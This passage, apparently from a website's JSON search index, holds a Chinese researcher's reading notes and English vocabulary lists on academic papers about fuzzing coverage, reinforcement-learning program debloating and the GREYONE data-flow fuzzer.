overhead\\u66f4\\u5c0f\\uff0c\\u7f3a\\u70b9\\uff1a\\u9700\\u8981\\u4e00\\u4e2a\\u652f\\u6301\\u7684CPU\\uff0c\\u89e3\\u7801CFG\\u65e5\\u5fd7\\u8017\\u65f6\\uff0c\\u53ea\\u652f\\u6301x86\\nXuwen\\u7684\\u4f18\\u5316\\u64cd\\u4f5c\\u7cfb\\u7edf\\u7684\\u7cfb\\u7edf\\u8c03\\u7528[61] fuzzer-agnostic operating primitives\\n\\u7a0b\\u5e8f\\u6539\\u5199AFL-lafIntel [70] unrolls magic bytes into single comparisons at compile-time, but currently only supports white-box binaries.\\n</code></pre> <p>\\u4e09\\u79cd\\u8986\\u76d6\\u7387\\u7684\\u8ba1\\u7b97\\u65b9\\u5f0f\\uff1a\\u57fa\\u672c\\u5757\\uff0c\\u8fb9\\uff0cbasic block path\\u8fd9\\u4e00\\u79cd\\u6ca1\\u4eba\\u505a \\u53ea\\u8bb0\\u5f55basic block\\u6765\\u63a8\\u65ad\\u8fb9\\u7684\\u4fe1\\u606f\\uff0c\\u662f\\u6709\\u95ee\\u9898\\u7684\\uff1a\\u5b58\\u5728critical edges\\u5c31\\u4e0d\\u51c6\\u786e\\uff0c\\u9700\\u8981\\u5148\\u53bb\\u6389critical edges\\u624d\\u884c \\u5c31\\u662f\\u7a7a\\u7684else\\u4e5f\\u8981\\u5f53\\u6210\\u4e00\\u4e2a\\u5757 \\u5426\\u5219\\u4f1a\\u9519\\u8bef\\u5730\\u4e22\\u6389\\u4e00\\u4e9b\\u53d1\\u73b0\\u4e86\\u65b0\\u8986\\u76d6\\u7387\\u7684\\u79cd\\u5b50 erroneously discard coverage-increasing inputs.\\uff08\\u53ef\\u80fdafl\\u5bf9for\\u7684\\u652f\\u6301\\u5c31\\u662f\\u8fd9\\u4e2abug</p> <p>afl\\u7684queue\\u91cc\\u7684\\u6587\\u4ef6\\u6709+cov\\u7684\\u624d\\u662f\\u53d1\\u73b0\\u4e86\\u65b0\\u7684\\u8986\\u76d6\\u7387\\u7684</p> <p>\\u5f71\\u54cdafl\\u53d8\\u5f02\\u4f18\\u5148\\u7b56\\u7565\\u7684\\u9664\\u4e86coverage\\u8fd8\\u6709\\u6587\\u4ef6\\u5927\\u5c0f\\uff0c\\u76f8\\u540c\\u8986\\u76d6\\u7387\\u4f18\\u5148\\u7528\\u5c0f\\u7684seed</p> <p>p-value\\u5c0f\\u4e8e0.05\\u8981\\u8bf4(pair-wise)</p> <p>hybrid\\u7684fuzzer\\u82b1\\u66f4\\u591a\\u7684\\u65f6\\u95f4\\u53d8\\u5f02 \\u5982QSYM</p>\"},{\"location\":\"PaperReading/#effective-program-debloating-via-reinforcement-learning\",\"title\":\"Effective Program Debloating via Reinforcement Learning\",\"text\":\"<p>CCS18 PDF</p> <p>\\u6982\\u62ec\\uff1a\\u628a\\u673a\\u5668\\u5b66\\u4e60\\u7528\\u5230Program Debloating\\uff0c\\u57fa\\u672c\\u65b9\\u6cd5\\u662f\\u53cd\\u590d\\u5207\\u7247\\u53bb\\u6389\\uff0c\\u7528Reinforcement Learning\\u6765\\u51cf\\u5c11\\u7f16\\u8bd1\\u6d4b\\u8bd5\\u7684\\u6b21\\u6570</p> <p>\\u5355\\u8bcd</p> <ul> <li>seldom if ever used by average users \\u4e00\\u822c\\u7528\\u6237\\u4e0d\\u4f1a\\u7528</li> <li>has led to its sparing use \\u5bfc\\u81f4\\u6ca1\\u4eba\\u7528</li> <li>has been shown to suffice in the literature on \\u2026 \\u8bba\\u6587\\u4e2d\\u5df2\\u7ecf\\u63d0\\u5230</li> <li>mangle \\u641e\\u4e71\\u7a0b\\u5e8f</li> <li>sacrifice efficiency \\u8bf4\\u522b\\u4eba\\u7684\\u4e0d\\u8db3\\u7684\\u65f6\\u5019\\u8bf4\\u727a\\u7272\\u4e86xxx</li> <li>tailored to C/C++ \\u53ea\\u9002\\u5408xxx</li> <li>myopic \\u77ed\\u89c6\\u7684 Since the rules are myopic, C-Reduce generates a significant number of syntactically invalid candidates</li> <li>albeit \\u4f46\\u662f albeit due to a different reason.</li> <li>presuming a general setting where such an analysis may not be available \\u4e3e\\u7684\\u4f8b\\u5b50\\u53ef\\u4ee5\\u5f88\\u7b80\\u5355\\u9759\\u6001\\u5206\\u6790\\u51fa\\u6765\\uff0c\\u8bf4\\u4e00\\u822c\\u7684\\u60c5\\u51b5\\u4e0b\\u9759\\u6001\\u5206\\u6790\\u6ca1\\u7528</li> <li>akin to \\u2026 \\u548cxxx\\u76f8\\u540c \\u63d2\\u5165\\u8bed because it not only avoids syntactic errors, akin to Perses, but it also learns to avoid semantic errors.</li> <li>Overall \\u4e00\\u6bb5\\u8bdd\\u7ed3\\u675f\\u7684\\u65f6\\u5019\\u603b\\u7ed3</li> <li>large boilerplate code \\u4e00\\u5927\\u6bb5\\u4ee3\\u7801</li> <li>heed to \\u9075\\u5b88 C-Reduce does not heed to common software engineering practices such as modularity and locality</li> <li>suffices in practice\\u5b9e\\u9645\\u4e0a\\u662f\\u5426\\u8db3\\u591f The reader may wonder whether a naive approach to program reduction based on runtime code coverage suffices in practice.</li> <li>empirically comfirmed \\u9a8c\\u8bc1\\u9c81\\u68d2\\u6027\\u53ea\\u80fd\\u7ecf\\u9a8c\\u6027\\u5730\\u9a8c\\u8bc1</li> <li>in this regard \\u5728\\u8fd9\\u4e2a\\u65b9\\u9762 We can mitigate the issue by combining the results of multiple static analyzers that possess different capabilities in this regard.</li> </ul> <p>idea</p> <pre><code>\\u7a0b\\u5e8f\\u7684\\u5e93\\u548cone-size-fits-all\\u7684\\u5f00\\u53d1\\u65b9\\u5f0f\\u5bfc\\u81f4\\u4e86\\u5927\\u91cf\\u5f88\\u5c11\\u7528/\\u6ca1\\u7528\\u7684\\u4ee3\\u7801\\n\\u524d\\u4eba\\u7684\\u505a\\u6cd5\\u6ca1\\u8003\\u8651\\u8bed\\u4e49\\u4f9d\\u8d56 \\u5bfc\\u81f4\\u672a\\u521d\\u59cb\\u5316\\u53d8\\u91cf\\u7b49\\u8bed\\u4e49\\u9519\\u8bef unaware of semantic dependencies between program elements (e.g., def-use relations of variables\\ndebloating \\u901a\\u8fc7delta debugging \\u4e00\\u6b65\\u6b65\\u53bb\\u6389\\u7a0b\\u5e8f\\u4e2d\\u80fd\\u5220\\u7684\\u7247\\u6bb5\\uff0c\\u7528\\u5f3a\\u5316\\u5b66\\u4e60\\u52a0\\u901f\\uff08\\u51b3\\u7b56\\u6811 \\u9a6c\\u5c14\\u79d1\\u592b\\u51b3\\u7b56\\u8fc7\\u7a0b\\uff09\\uff0c\\u4fdd\\u8bc1\\u80fd\\u8fc7\\u6d4b\\u8bd5high-level specification\\uff0c\\u6700\\u540e\\u5f97\\u5230\\u7684\\u4e8c\\u8fdb\\u5236\\u4efb\\u4f55\\u4e00\\u4e2a\\u7247\\u6bb5\\u90fd\\u4e0d\\u80fd\\u518d\\u5220\\uff081-minimality\\uff09\\n\\u8fd9\\u4e2a\\u65b9\\u6cd5\\u80fd\\u6269\\u5c55\\u5230\\u5927\\u7a0b\\u5e8f\\uff0c\\u907f\\u514d\\u73b0\\u6709\\u5de5\\u5177\\u8d85\\u65f6\\u7684\\u95ee\\u9898\\n\\u8fd9\\u4e2a\\u65b9\\u6cd5\\u8fd8\\u53ef\\u4ee5\\u964d\\u4f4e\\u653b\\u51fb\\u9762 \\u53bb\\u6389\\u53ef\\u9009\\u529f\\u80fd\\u4e2d\\u7684\\u6f0f\\u6d1e\\uff0c\\u51cf\\u5c11ROP gadget\\n</code></pre> <p>\\u60f3\\u505a\\u5230\\u4e94\\u70b9\\uff1a \\u6700\\u5c0f\\uff1b\\u8017\\u65f6\\u77ed\\uff1b\\u9c81\\u68d2\\u4e0d\\u5f15\\u5165\\u65b0\\u7684\\u6f0f\\u6d1e\\uff1b\\u751f\\u6210\\u7684\\u4ee3\\u7801\\u53ef\\u7ef4\\u62a4\\u53ef\\u6269\\u5c55\\uff1b\\u901a\\u7528 \\u6bd4\\u9759\\u6001\\u5206\\u6790\\u52a8\\u6001coverage\\u7684\\u90fd\\u5c0f\\uff1b\\u5176\\u4ed6\\u4eba\\u8d85\\u65f6\\u6211\\u4eec\\u90fd\\u884c\\uff1b\\u7528\\u9759\\u6001\\u5206\\u6790\\u5de5\\u5177\\u548cAFL\\u6d4b3\\u5929\\u53ef\\u4ee5\\u53cd\\u9988loop\\uff1b\\u4fdd\\u7559\\u4e86modularity and locality\\uff1b\\u65b9\\u6cd5\\u901a\\u7528 \\u548c\\u7f16\\u7a0b\\u8bed\\u8a00\\u3001\\u89c4\\u8303\\u65e0\\u5173</p> <p>\\u89c4\\u8303\\u5c31\\u662f\\u6d4b\\u8bd5\\u4ee3\\u7801 \\u8f93\\u5165\\u4e00\\u4e2a\\u88c1\\u526a\\u540e\\u7684\\u4ee3\\u7801 \\u8f93\\u51fa\\u80fd\\u5426\\u6ee1\\u8db3\\uff1a \\u80fd\\u8fc7\\u7f16\\u8bd1\\uff1b\\u9700\\u8981\\u7684\\u529f\\u80fd\\u6b63\\u5e38\\uff1b\\u4e0d\\u9700\\u8981\\u7684\\u529f\\u80fd\\u81f3\\u5c11\\u4e0d\\u80fd\\u5d29\\uff08\\u6d4b\\u8bd5\\u6837\\u4f8b\\u6765\\u81ea\\u56de\\u5f52\\u6d4b\\u8bd5\\uff09\\uff1b\\u8981\\u4f7f\\u7528sanitizer\\u786e\\u4fdd\\u6ca1\\u6709\\u672a\\u5b9a\\u4e49\\u884c\\u4e3a</p> <p>\\u9a6c\\u5c14\\u79d1\\u592b\\u51b3\\u7b56\\u8fc7\\u7a0b MDP</p> <p>\\u57fa\\u4e8e\\u6a21\\u578b\\u7684\\u5f3a\\u5316\\u5b66\\u4e60 MBRL \\u5728\\u6a21\\u578b\\u7684\\u5e2e\\u52a9\\u4e0b\\u89e3\\u51b3MDP\\u95ee\\u9898\\uff0c\\u5b66\\u51fa\\u8f6c\\u6362\\u7684\\u6982\\u7387\\u548c\\u5956\\u8d4f\\uff0c\\u5f97\\u5230\\u53ef\\u4ee5\\u6700\\u5927\\u5316\\u6536\\u76ca\\u548c\\u7684\\u52a8\\u4f5c</p> <p>\\u65b9\\u6cd5\\uff1a\\u6267\\u884c\\u8fc7\\u7a0b\\u4f1a\\u66f4\\u65b0\\u51b3\\u7b56\\u6811 \\u7a0b\\u5e8f\\u7684\\u7f16\\u7801\\u5c31\\u662f\\u7a0b\\u5e8fn\\u4efd \\u6bcf\\u4e00\\u4efd\\u662f\\u5426\\u5b58\\u5728 \\u4e00\\u5f00\\u59cb\\u5c31\\u662fn\\u4e2a1</p> <p>\\u5177\\u4f53\\u5b9e\\u73b0\\u7684\\u65f6\\u5019\\u662f\\u5148\\u5220global-level\\u7684\\u7ec4\\u4ef6 \\u5982\\u5168\\u5c40\\u53d8\\u91cf\\u58f0\\u660e\\u3001\\u7c7b\\u522b\\u5b9a\\u4e49\\u3001\\u51fd\\u6570\\u5b9a\\u4e49\\uff0c\\u518d\\u5220\\u5c40\\u90e8\\u7c7b\\u522b\\u7684\\u7ec4\\u4ef6 \\u8d4b\\u503c\\u3001if\\u8bed\\u53e5\\u3001while\\u8bed\\u53e5\\uff0c\\u7136\\u540e\\u7ee7\\u7eedglobal local \\u2026\\u8fed\\u4ee3\\u5230\\u7a33\\u5b9a \\u4f7f\\u7528\\u7b80\\u5355\\u7684\\u4f9d\\u8d56\\u5206\\u6790\\u6765\\u62d2\\u7edd\\u4e0d\\u53ef\\u80fd\\u7684\\u7a0b\\u5e8f \\u5982\\u6ca1\\u6709main \\u7f3a\\u5931\\u53d8\\u91cf\\u5b9a\\u4e49 \\u53d8\\u91cf\\u6ca1\\u521d\\u59cb\\u5316 \\u6ca1\\u6709return\\u8bed\\u53e5 \\u51b3\\u7b56\\u6811\\u7528\\u7684FastDT\\uff0c\\u7528\\u7684exact decision trees\\u6ca1\\u6709boosting bagging  \\u8ba1\\u7b97\\u4ee3\\u7801\\u884c\\u6570\\u4e4b\\u524d\\u8981\\u5148\\u5b8f\\u5c55\\u5f00</p> <p>Evaluation \\u9009\\u4e8610\\u4e2abinutils\\u91cc\\u7684\\u7a0b\\u5e8f\\uff0c\\u90fd\\u5728busybox\\u91cc \\u53ef\\u4ee5\\u76f4\\u63a5\\u6bd4\\u8f83 \\u907f\\u514d\\u4ea7\\u751f\\u6b7b\\u5faa\\u73af\\u7684\\u7a0b\\u5e8f \\u8bbe\\u7f6e\\u4e86\\u4e0d\\u540c\\u7684timeout 0.01~1s</p> <p>\\u753b\\u56fe\\u5dee\\u5f02\\u592a\\u5927\\u53ef\\u4ee5\\u622a\\u65ad \\u9876\\u90e8\\u663e\\u793a\\u6570\\u503c \\u6709\\u4e9bCVE\\u6ca1\\u80fd\\u5220\\u6389 \\u8bf4\\u8fd9\\u4e9b\\u5728\\u6838\\u5fc3\\u529f\\u80fd\\u91cc\\u9762 \\u4e0d\\u80fd\\u7b80\\u5355\\u5220\\u6389 \\u5982\\u6761\\u4ef6\\u7ade\\u4e89  \\u4ea7\\u751f\\u7684\\u4ee3\\u7801\\u4f7f\\u9759\\u6001\\u5206\\u6790\\u5de5\\u5177\\u7684\\u62a5\\u544a\\u51cf\\u5c11\\u4e8695.4% \\u62a5\\u544a\\u5c31\\u80fd\\u770b\\u4e86 The decreased size and complexity of the reduced programs also enable to apply more precise program checkers such as static analyzers. \\u7136\\u540e\\u4eba\\u5de5\\u68c0\\u67e5\\u8bf4\\u90fd\\u662f\\u8bef\\u62a5 feedback process \\u8dd1AFL\\u7684\\u65f6\\u5019\\u5d29\\u4e86 \\u53d1\\u73b0\\u662f\\u7f55\\u89c1\\u7684\\u60c5\\u51b5 \\u628a\\u8fd9\\u79cd\\u6d4b\\u8bd5\\u7528\\u4f8b\\u8003\\u8651\\u8fdb\\u53bb\\u540e\\u91cd\\u65b0\\u751f\\u6210 \\u518dfuzzing\\u5c313\\u5929\\u90fd\\u4e0d\\u5d29\\u4e86This simple feedback process effectively improved the robustness of the resulting program</p> <p>THREATS TO VALIDITY \\u6d4b\\u8bd5\\u811a\\u672c\\u884c\\u4e3a\\u7684\\u4e0d\\u786e\\u5b9a\\u6027\\uff1a\\u7528sanitizer\\u7f13\\u89e3\\uff0c\\u4f9d\\u8d56\\u7684\\u5176\\u4ed6\\u5e93\\u4ee3\\u7801\\u9700\\u8981\\u4e5f\\u7528\\u540c\\u6837\\u7684\\u7f16\\u8bd1\\uff1btimeout\\u673a\\u5236\\u5f15\\u5165\\u7684\\u8bef\\u62a5\\uff0c\\u53ef\\u4ee5\\u6539\\u53d8\\u68c0\\u6d4b\\u6b7b\\u5faa\\u73af\\u7684\\u673a\\u5236[20] \\u4e0d\\u4f9d\\u8d56timeout \\u6d4b\\u8bd5\\u6837\\u4f8b\\u4e0d\\u5b8c\\u6574may not be exhaustive enough \\u4f7f\\u7528\\u57fa\\u4e8e\\u8bed\\u6cd5\\u7684fuzzer \\u9759\\u6001\\u5206\\u6790\\u5de5\\u5177\\u7684unsoundness \\u4e0d\\u652f\\u6301\\u590d\\u6742\\u7684\\u7279\\u6027 \\u5982\\u590d\\u6742\\u7684\\u6307\\u9488\\u7b97\\u672f\\u8ba1\\u7b97\\uff0c\\u672a\\u77e5\\u8bed\\u4e49\\u7684API\\u8c03\\u7528\\u5bfc\\u81f4\\u7684\\u590d\\u6742\\u63a7\\u5236\\u6d41\\u2014\\u2014\\u7ed3\\u5408\\u591a\\u79cd\\u9759\\u6001\\u5206\\u6790\\u5de5\\u5177</p> <p>\\u66f4\\u591a\\u65b9\\u5411</p> <pre><code>program reasoning \\u60f3\\u77e5\\u9053\\u662f\\u5426\\u5f15\\u5165\\u4e86\\u65b0\\u7684bug\\uff0c\\u5305\\u62ec\\u9759\\u6001\\u5206\\u6790 \\u52a8\\u6001\\u5206\\u6790 fuzzing \\u8fd0\\u884c\\u65f6\\u76d1\\u63a7 \\u9a8c\\u8bc1\\n\\u9759\\u6001\\u5206\\u6790\\u5de5\\u5177\\uff1aSparrow [13]\\u2014a static analyzer for finding security bugs \\u53ef\\u4ee5\\u68c0\\u6d4bbug\\uff0c\\u8fd8\\u80fd\\u79fb\\u9664\\u4e0d\\u53ef\\u8fbe\\u4ee3\\u7801\\n\\u7a0b\\u5e8fdebloating \\u7c97\\u7c92\\u5ea6\\u7684Docker\\u5927\\u5bb9\\u5668\\u62c6\\u89e3\\u6210\\u591a\\u4e2a\\u5c0f\\u5bb9\\u5668 \\u9700\\u8981\\u52a8\\u6001\\u5206\\u6790\\u5e94\\u7528\\u884c\\u4e3a[35]\\n\\u66f4\\u7ec6\\u7c92\\u5ea6\\u7684\\u6709\\u505aJava [28]\\u548cAndroid [27]\\u5e94\\u7528\\u7684 \\uff1b\\u6709\\u907f\\u514d\\u8f7d\\u5165\\u4e0d\\u4f1a\\u7528\\u5230\\u7684\\u51fd\\u6570\\u7684[34] \\uff08\\u51fd\\u6570\\u7ea7\\u522b\\u7684\\u4f9d\\u8d56\\u5206\\u6790\\uff09\\n\\u53e6\\u4e00\\u4e2a\\u6b63\\u4ea4\\u7684\\u65b9\\u5411\\uff1a\\u68c0\\u6d4b\\u548c\\u51cf\\u5c11\\u8fd0\\u884c\\u65f6\\u5185\\u5b58\\u81a8\\u80c0 [9,33,40-43]\\n\\u8f93\\u5165\\u6837\\u4f8b\\u7684\\u6700\\u5c0f\\u5316 \\u573a\\u666f\\u662f\\u6d4b\\u8bd5\\u7f16\\u8bd1\\u5668/\\u89e3\\u91ca\\u5668\\uff0c\\u4ea7\\u751f\\u80fdcrash\\u7684\\u66f4\\u5c0f\\u7684\\u7a0b\\u5e8f \\u4e0d\\u8003\\u8651\\u5b89\\u5168\\u6027\\u53ef\\u8bfb\\u6027\\n\\u6709\\u5de5\\u4f5c\\u8003\\u8651\\u4e86\\u8bed\\u6cd5\\u7684\\u6b63\\u786e\\u6027[23,32,37] \\u4f46\\u6ca1\\u8003\\u8651\\u8bed\\u4e49\\u6b63\\u786e\\u6027\\nProgram slicing \\u6307\\u5b9a\\u4e00\\u4e2a\\u4f4d\\u7f6e\\u63d0\\u53d6\\u7a0b\\u5e8f\\u7684\\u4e00\\u5c0f\\u90e8\\u5206 \\u9700\\u8981\\u6307\\u5b9a\\u8bed\\u4e49\\u548c\\u4f9d\\u8d56\\u5173\\u7cfb\\uff08challenging\\uff09\\uff0c\\u4e5f\\u53ef\\u80fd\\u4e0d\\u80fd\\u53bb\\u6389\\u6f0f\\u6d1e \\uff08\\u8fd9\\u7bc7\\u6587\\u7ae0\\u7684\\u65b9\\u6cd5\\u66f4\\u597d\\uff09\\n\\u9759\\u6001\\u53ef\\u8fbe\\u6027\\u5206\\u6790 \\u4e0d\\u80fd\\u5904\\u7406\\u590d\\u6742\\u7684\\u63a7\\u5236\\u6d41\\u5982\\u95f4\\u63a5\\u8c03\\u7528\\u3001\\u590d\\u6742\\u6761\\u4ef6\\u548c\\u6307\\u9488\\u7b97\\u672f\\n\\u52a8\\u6001\\u53ef\\u8fbe\\u6027\\u5206\\u6790 \\u8fd9\\u7bc7\\u6587\\u7ae0\\u7684\\u65b9\\u6cd5\\u66f4\\u597d\\n</code></pre> <p>future work:  more expressive probabilistic models with efficient incremental learning,  designing various forms of specification other than input-output examples, applying to debloat programs written in arbitrary languages such as binary.</p>\"},{\"location\":\"PaperReading/#greyone-data-flow-sensitive-fuzzing\",\"title\":\"GREYONE: Data Flow Sensitive Fuzzing\",\"text\":\"<p>USENIX20 PDF</p> <p>\\u5355\\u8bcd:</p> <ul> <li>is labor-intensive and requires lots of manual efforts \\u9700\\u8981\\u4eba\\u5de5</li> <li>Head-to-Head Comparison \\u6bd4\\u8f83\\u4e0d\\u540c\\u7684work</li> <li>to draw conclusions as objective as possible \\u5c3d\\u53ef\\u80fd\\u5ba2\\u89c2</li> <li>\\u9009\\u88ab\\u6d4b\\u7a0b\\u5e8f\\u7684\\u539f\\u56e0 We chose target applications considering several factors, including popularity, frequency of being tested, development activeness, and functionality diversity.</li> <li>\\u9009\\u51fa\\u6765\\u7684\\u7c7b\\u522b\\u5305\\u542b graphics processing libraries (e.g., libcaca and libsixel),</li> <li>shipping with \\u7528afl-cmin\\u7684\\u65f6\\u5019\\u8bf4the tool afl-cmin shipping with AFL</li> <li>\\u786e\\u5b9afuzzing\\u7684\\u65f6\\u95f4 we test target applications for more time, until the fuzzers reach a relatively stable state (i.e., the order of fuzzers\\u2019 performance does not change anymore).</li> <li>Experiments showed that the fuzzers will get stable after testing these applications for 60 hours. So, we tested each application for 60 hours in our experiment.</li> <li>\\u9664\\u4e86\\u7ed9\\u5e73\\u5747\\u7ed3\\u679c \\u4e5f\\u7ed9\\u51famaxinum number</li> <li>a steady and stronger growth trend</li> <li>\\u5927\\u90e8\\u5206\\u65b9\\u9762\\u90fd\\u66f4\\u5feb in a faster pace than QSYM in most subjects</li> </ul> <p>idea:</p> <p>\\u4f7f\\u7528\\u8f7b\\u91cf\\u7ea7fuzzing-driven taint inference FTI \\u6709\\u4e86taint\\u4e4b\\u540e\\u7528\\u8f93\\u5165\\u4f18\\u5148\\u6a21\\u578b\\u5224\\u65ad\\u5148\\u63a2\\u7d22\\u54ea\\u4e2a\\u8def\\u5f84 \\u53d8\\u5f02\\u54ea\\u4e9b\\u5b57\\u8282 \\u600e\\u4e48\\u53d8\\u5f02 \\u5f3a\\u8c03dataflow features\\uff1a constraint conformance \\u53d8\\u91cf\\u7684\\u503c\\u4e0e\\u9884\\u671f\\u503c\\u7684\\u8ddd\\u79bb \\u5b9e\\u9a8c\\u5728\\u6700\\u65b0\\u7684\\u8f6f\\u4ef6\\u4e0a\\u8dd1 \\u53d1\\u73b0\\u4e86105\\u4e2a\\u65b0\\u7684bugs\\uff0c\\u62ff\\u5230\\u4e8641\\u4e2aCVE</p> <p>RQ1: \\u600e\\u4e48\\u505a\\u8f7b\\u91cf\\u51c6\\u786e\\u7684\\u6c61\\u70b9\\u5206\\u6790 FTI\\u53d8\\u5f02\\u8f93\\u5165\\u6bcf\\u4e2a\\u5b57\\u8282\\u770b\\u53d8\\u91cf\\u503c\\u7684\\u53d8\\u5316 \\u8f7b\\u91cf \\u6ca1\\u6709over-taint \\u7f13\\u89e3under-taint(\\u53d8\\u5f02\\u4e0d\\u5b8c\\u6574\\u4f1a\\u6709) \\u8fd0\\u884c\\u65f6\\u975e\\u5e38\\u5feb RQ2: \\u6709\\u4e86taint\\u600e\\u4e48\\u6709\\u6548\\u6307\\u5bfc\\u53d8\\u5f02 \\u9009\\u62e9\\u5565\\u8def\\u5f84 \\u9009\\u62e9\\u54ea\\u4e9b\\u5b57\\u8282 \\u4f18\\u5148\\u9009\\u62e9\\u80fd\\u5f71\\u54cd\\u66f4\\u591a\\u672a\\u5230\\u8fbe\\u5206\\u652f\\u7684\\u5b57\\u8282\\uff0c\\u4f18\\u5148\\u4f9d\\u8d56\\u66f4\\u591a\\u4f18\\u5148\\u5b57\\u8282\\u7684\\u5206\\u652f RQ3: \\u5982\\u4f55\\u4f7f\\u7528\\u6570\\u636e\\u6d41\\u7279\\u5f81(\\u6c61\\u70b9\\u5c5e\\u6027\\u548c\\u7ea6\\u675f\\u7b26\\u5408\\u6027)\\u4f18\\u5316\\u8fdb\\u5316\\u65b9\\u5411conformance-guided evolution \\u4f18\\u5148\\u66f4\\u9ad8\\u7b26\\u5408\\u6027\\u7684seeds \\u80fd\\u907f\\u514dAngora\\u7684\\u9677\\u5165\\u5c40\\u90e8\\u6700\\u4f18\\u7684\\u95ee\\u9898\\uff0c\\u53e6\\u5916\\u5c06\\u6b63\\u5728\\u6267\\u884c\\u7684\\u53d8\\u5f02rebase\\u5230\\u66f4\\u597d\\u7684seeds\\u53ef\\u4ee5\\u663e\\u8457\\u4f18\\u5316\\u901f\\u5ea6</p> <p>\\u7b26\\u53f7\\u6267\\u884c\\u4e0d\\u80fd\\u5904\\u7406\\u5927\\u7a0b\\u5e8f\\uff0c\\u4e0d\\u80fd\\u89e3\\u51b3\\u590d\\u6742\\u7684\\u7ea6\\u675f\\u5982on-way functions \\u4f20\\u7edf\\u7684\\u52a8\\u6001\\u6c61\\u70b9\\u5206\\u6790 \\u9700\\u8981\\u5927\\u91cf\\u52b3\\u52a8\\u4eba\\u7c7b\\u5de5\\u4f5c, \\u4e0d\\u51c6\\u786e undertaint\\u7684\\u95ee\\u9898 \\u4e0d\\u80fd\\u5904\\u7406\\u9690\\u5f0f\\u6570\\u636e\\u6d41\\uff0c\\u975e\\u5e38\\u6162</p> <p>\\u4e0d\\u7b26\\u5408non-intererence rule[16]\\u7684\\u5c31\\u6709\\u4f9d\\u8d56\\u5173\\u7cfb FTI\\u53d8\\u5f02\\u7684\\u65f6\\u5019\\u662f\\u4f7f\\u7528\\u9884\\u5148\\u5b9a\\u4e49\\u7684\\u53d8\\u5f02\\u89c4\\u5219 \\u5982\\u5355\\u4f4d\\u7ffb\\u8f6c\\u3001\\u591a\\u4f4d\\u7ffb\\u8f6c\\u548c\\u7b97\\u672f\\u64cd\\u4f5c\\uff0c\\u4e0d\\u80fd\\u4fdd\\u8bc1\\u5b8c\\u5168\\u53d8\\u5f02 \\u53d8\\u91cf\\u503c\\u8ffd\\u8e2a\\u662f\\u63d2\\u4ee3\\u7801 special value tracking code \\u53ea\\u5173\\u6ce8\\u4e0e\\u8def\\u5f84\\u7ea6\\u675f\\u6709\\u5173\\u7684\\u53d8\\u91cf\\uff0c\\u540c\\u65f6\\u4e5f\\u80fd\\u63d0\\u51fa\\u503c\\u548c\\u5bf9\\u5e94\\u7684\\u8f93\\u5165\\u5b57\\u8282\\u6bd4\\u8f83 \\u4e00\\u81f4\\u5c31\\u662fdirect copy</p> <p>\\u8f93\\u5165\\u5b57\\u8282\\u7684\\u6743\\u91cd\\u662f\\u5b83\\u5f71\\u54cd\\u7684\\u672a\\u5230\\u8fbe\\u7684\\u5206\\u652f\\u6570\\u91cf\\uff0c\\u4e00\\u4e2a\\u672a\\u5230\\u8fbe\\u5206\\u652f\\u7684\\u6743\\u91cd\\u662f\\u5b83\\u4f9d\\u8d56\\u7684\\u6240\\u6709\\u5b57\\u8282\\u6743\\u91cd\\u7684\\u548c</p> <p>\\u53d8\\u5f02\\u54ea\\u4e2a\\u4f4d\\u7f6e\\uff1f\\u627e\\u5f53\\u524dseed\\u672a\\u8986\\u76d6\\u7684\\u9644\\u8fd1\\u7684\\u5206\\u652f \\u6309\\u5206\\u652f\\u6743\\u91cd\\u5012\\u5e8f\\uff1b\\u5bf9\\u4e8e\\u4e00\\u4e2a\\u5206\\u652f\\u4f9d\\u8d56\\u7684\\u591a\\u4e2a\\u5b57\\u8282\\uff0c\\u6309\\u5b57\\u8282\\u7684\\u6743\\u91cd\\u5012\\u5e8f \\u600e\\u4e48\\u53d8\\u5f02\\uff1fdirect copy\\u5982\\u679c\\u9700\\u8981\\u8ddf\\u4e00\\u4e2a\\u8fd0\\u884c\\u65f6\\u7b97\\u51fa\\u7684checksum\\u76f8\\u7b49 \\u5148\\u5f97\\u5230\\u8fd0\\u884c\\u65f6\\u9700\\u8981\\u7684\\u503c\\uff0c\\u518d\\u4f7f\\u7528\\u8fd9\\u4e2a\\u503c\\u548c\\u5fae\\u5c0f\\u53d8\\u5f02\\u6765\\u4fee\\u590d\\u5bf9\\u5e94\\u7684\\u8f93\\u5165\\u5b57\\u8282 \\u53ef\\u4ee5\\u76f4\\u63a5\\u77e5\\u9053\\u5e94\\u8be5\\u4fee\\u6539\\u54ea\\u4e2aoffset \\u9700\\u8981\\u4ec0\\u4e48\\u503c indirect copies\\u5c31\\u968f\\u673a\\u53d8\\u5f02 \\u53ef\\u4ee5\\u4e00\\u6b21\\u53d8\\u5f02\\u591a\\u4e2a\\u5b57\\u8282  \\u7f13\\u89e3undertaint \\u9664\\u4e86\\u4f9d\\u8d56\\u7684\\u5b57\\u8282 \\u4e5f\\u4ee5\\u4e00\\u4e2a\\u8f83\\u4f4e\\u7684\\u6982\\u7387\\u53d8\\u5f02\\u90bb\\u5c45\\u5b57\\u8282</p> <p>\\u8ba1\\u7b97\\u7b26\\u5408\\u6027 \\u5bf9\\u4e8e\\u672a\\u5230\\u8fbe\\u7684\\u5206\\u652f \\u5b9a\\u4e49\\u662f\\u4e24\\u4e2a\\u6bd4\\u8f83\\u7684\\u503c\\u4e4b\\u95f4\\u6709\\u591a\\u5c11bit\\u4e00\\u81f4\\uff0c \\u5bf9\\u4e8e\\u4e00\\u4e2a\\u5df2\\u7ecf\\u5230\\u8fbe\\u57fa\\u672c\\u5757 \\u5b9a\\u4e49\\u662f\\u5176\\u6240\\u6709\\u672a\\u5230\\u8fbe\\u90bb\\u5c45\\u7684\\u7b26\\u5408\\u6027\\u7684\\u6700\\u5927\\u503c\\uff0c \\u5bf9\\u4e8e\\u4e00\\u4e2aseed \\u5b9a\\u4e49\\u662f\\u8986\\u76d6\\u7684\\u6240\\u6709\\u57fa\\u672c\\u5757\\u7684\\u7b26\\u5408\\u6027\\u7684\\u7d2f\\u52a0</p> <p>seed queue\\u65b0\\u7684\\u7ed3\\u6784 \\u5728\\u76f8\\u540ccoverage \\u53d1\\u73b0\\u66f4\\u9ad8\\u5206\\u6570\\u7684seed\\u7684\\u65f6\\u5019 \\u66ff\\u6362\\uff1b\\u5728\\u53d1\\u73b0\\u76f8\\u540ccoverage \\u76f8\\u540c\\u5206\\u6570 \\u4f46\\u57fa\\u672c\\u5757conformance\\u7684\\u5206\\u5e03\\u4e0d\\u540c\\u7684\\u65f6\\u5019\\uff0c\\u52a0\\u5165\\u7684\\u8fd9\\u4e2aNode\\u6570\\u7ec4</p> 